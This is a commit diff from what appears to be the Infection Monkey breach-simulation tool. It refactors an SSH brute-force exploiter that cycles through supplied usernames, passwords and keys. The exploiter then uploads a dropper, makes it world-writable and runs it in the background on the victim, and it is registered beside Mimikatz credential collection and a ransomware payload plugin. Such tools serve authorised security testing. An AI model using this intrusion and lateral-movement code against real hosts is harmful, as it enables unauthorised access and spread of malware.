Agent: Modify SSH exploit

* Remove credential hashes from logs
* Get rid of config and use brute_force utils
* Use telemetry messenger to send attack telemetries
* Zerologon and Powershell needs to be revised based on UT
This commit is contained in:
Ilija Lazoroski 2022-02-21 10:56:31 +01:00
parent 96bd7bca24
commit f2b2a9c5c3
5 changed files with 62 additions and 36 deletions

View File

@ -1,10 +1,12 @@
import logging import logging
from abc import abstractmethod from abc import abstractmethod
from datetime import datetime from datetime import datetime
from typing import Dict
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -26,7 +28,7 @@ class HostExploiter:
def _EXPLOITED_SERVICE(self): def _EXPLOITED_SERVICE(self):
pass pass
def __init__(self, host): def __init__(self):
self._config = WormConfiguration self._config = WormConfiguration
self.exploit_info = { self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE, "display_name": self._EXPLOITED_SERVICE,
@ -37,7 +39,9 @@ class HostExploiter:
"executed_cmds": [], "executed_cmds": [],
} }
self.exploit_attempts = [] self.exploit_attempts = []
self.host = host self.host = None
self.telemetry_messenger = None
self.options = {}
def set_start_time(self): def set_start_time(self):
self.exploit_info["started"] = datetime.now().isoformat() self.exploit_info["started"] = datetime.now().isoformat()
@ -71,7 +75,11 @@ class HostExploiter:
} }
) )
def exploit_host(self): def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
self.host = host
self.telemetry_messenger = telemetry_messenger
self.options = options
self.pre_exploit() self.pre_exploit()
result = None result = None
try: try:

View File

@ -14,6 +14,7 @@ from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -26,8 +27,8 @@ class SSHExploiter(HostExploiter):
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "SSH" _EXPLOITED_SERVICE = "SSH"
def __init__(self, host): def __init__(self):
super(SSHExploiter, self).__init__(host) super(SSHExploiter, self).__init__()
self._update_timestamp = 0 self._update_timestamp = 0
def log_transfer(self, transferred, total): def log_transfer(self, transferred, total):
@ -37,7 +38,10 @@ class SSHExploiter(HostExploiter):
self._update_timestamp = time.time() self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"],
)
for user, ssh_key_pair in user_ssh_key_pairs: for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko # Creating file-like private key for paramiko
@ -67,7 +71,10 @@ class SSHExploiter(HostExploiter):
raise FailedExploitationError raise FailedExploitationError
def exploit_with_login_creds(self, port) -> paramiko.SSHClient: def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"],
)
for user, current_password in user_password_pairs: for user, current_password in user_password_pairs:
@ -76,23 +83,16 @@ class SSHExploiter(HostExploiter):
try: try:
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
logger.debug( logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
)
self.add_vuln_port(port) self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password) self.report_login_attempt(True, user, current_password)
return ssh return ssh
except Exception as exc: except Exception as exc:
logger.debug( logger.debug(
"Error logging into victim %r with user" "Error logging into victim %r with user" " %s: (%s)",
" %s and password (SHA-512) '%s': (%s)",
self.host, self.host,
user, user,
self._config.hash_sensitive_data(current_password),
exc, exc,
) )
self.report_login_attempt(False, user, current_password) self.report_login_attempt(False, user, current_password)
@ -159,37 +159,41 @@ class SSHExploiter(HostExploiter):
with monkeyfs.open(src_path) as file_obj: with monkeyfs.open(src_path) as file_obj:
ftp.putfo( ftp.putfo(
file_obj, file_obj,
self._config.dropper_target_path_linux, self.options["dropper_target_path_linux"],
file_size=monkeyfs.getsize(src_path), file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer, callback=self.log_transfer,
) )
ftp.chmod(self._config.dropper_target_path_linux, 0o777) ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
status = ScanStatus.USED status = ScanStatus.USED
T1222Telem( self.telemetry_messenger.send_telemetry(
ScanStatus.USED, T1222Telem(
"chmod 0777 %s" % self._config.dropper_target_path_linux, ScanStatus.USED,
self.host, "chmod 0777 %s" % self.options["dropper_target_path_linux"],
).send() self.host,
)
)
ftp.close() ftp.close()
except Exception as exc: except Exception as exc:
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
status = ScanStatus.SCANNED status = ScanStatus.SCANNED
T1105Telem( self.telemetry_messenger.send_telemetry(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path T1105Telem(
).send() status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
)
)
if status == ScanStatus.SCANNED: if status == ScanStatus.SCANNED:
return False return False
try: try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += " > /dev/null 2>&1 &" cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline) ssh.exec_command(cmdline)
logger.info( logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)", "Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, self.options["dropper_target_path_linux"],
self.host, self.host,
cmdline, cmdline,
) )

View File

@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import (
MimikatzCredentialCollector, MimikatzCredentialCollector,
SSHCredentialCollector, SSHCredentialCollector,
) )
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.i_puppet import IPuppet, PluginType
from infection_monkey.master import AutomatedMaster from infection_monkey.master import AutomatedMaster
from infection_monkey.master.control_channel import ControlChannel from infection_monkey.master.control_channel import ControlChannel
@ -194,7 +195,7 @@ class InfectionMonkey:
return local_network_interfaces return local_network_interfaces
def _build_puppet(self) -> IPuppet: def _build_puppet(self) -> IPuppet:
puppet = Puppet() puppet = Puppet(self.telemetry_messenger)
puppet.load_plugin( puppet.load_plugin(
"MimikatzCollector", "MimikatzCollector",
@ -213,6 +214,8 @@ class InfectionMonkey:
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER)
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
return puppet return puppet

View File

@ -14,6 +14,7 @@ from infection_monkey.i_puppet import (
PostBreachData, PostBreachData,
) )
from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from .mock_puppet import MockPuppet from .mock_puppet import MockPuppet
from .plugin_registry import PluginRegistry from .plugin_registry import PluginRegistry
@ -21,9 +22,10 @@ logger = logging.getLogger()
class Puppet(IPuppet): class Puppet(IPuppet):
def __init__(self) -> None: def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None:
self._mock_puppet = MockPuppet() self._mock_puppet = MockPuppet()
self._plugin_registry = PluginRegistry() self._plugin_registry = PluginRegistry()
self._telemetry_messenger = telemetry_messenger
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
@ -56,10 +58,12 @@ class Puppet(IPuppet):
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER) fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host( def exploit_host(
self, name: str, host: str, options: Dict, interrupt: threading.Event self, name: str, host: object, options: Dict, interrupt: threading.Event
) -> ExploiterResultData: ) -> ExploiterResultData:
return self._mock_puppet.exploit_host(name, host, options, interrupt) exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER)
return exploiter.exploit_host(host, self._telemetry_messenger, options)
def run_payload(self, name: str, options: Dict, interrupt: threading.Event): def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)

View File

@ -1,12 +1,19 @@
import threading import threading
from unittest.mock import MagicMock from unittest.mock import MagicMock
import pytest
from infection_monkey.i_puppet import PluginType from infection_monkey.i_puppet import PluginType
from infection_monkey.puppet.puppet import Puppet from infection_monkey.puppet.puppet import Puppet
def test_puppet_run_payload_success(monkeypatch): @pytest.fixture
p = Puppet() def mock_telemetry_messenger():
return MagicMock()
def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger):
p = Puppet(mock_telemetry_messenger)
payload = MagicMock() payload = MagicMock()
payload_name = "PayloadOne" payload_name = "PayloadOne"
@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch):
payload.run.assert_called_once() payload.run.assert_called_once()
def test_puppet_run_multiple_payloads(monkeypatch): def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger):
p = Puppet() p = Puppet(mock_telemetry_messenger)
payload_1 = MagicMock() payload_1 = MagicMock()
payload1_name = "PayloadOne" payload1_name = "PayloadOne"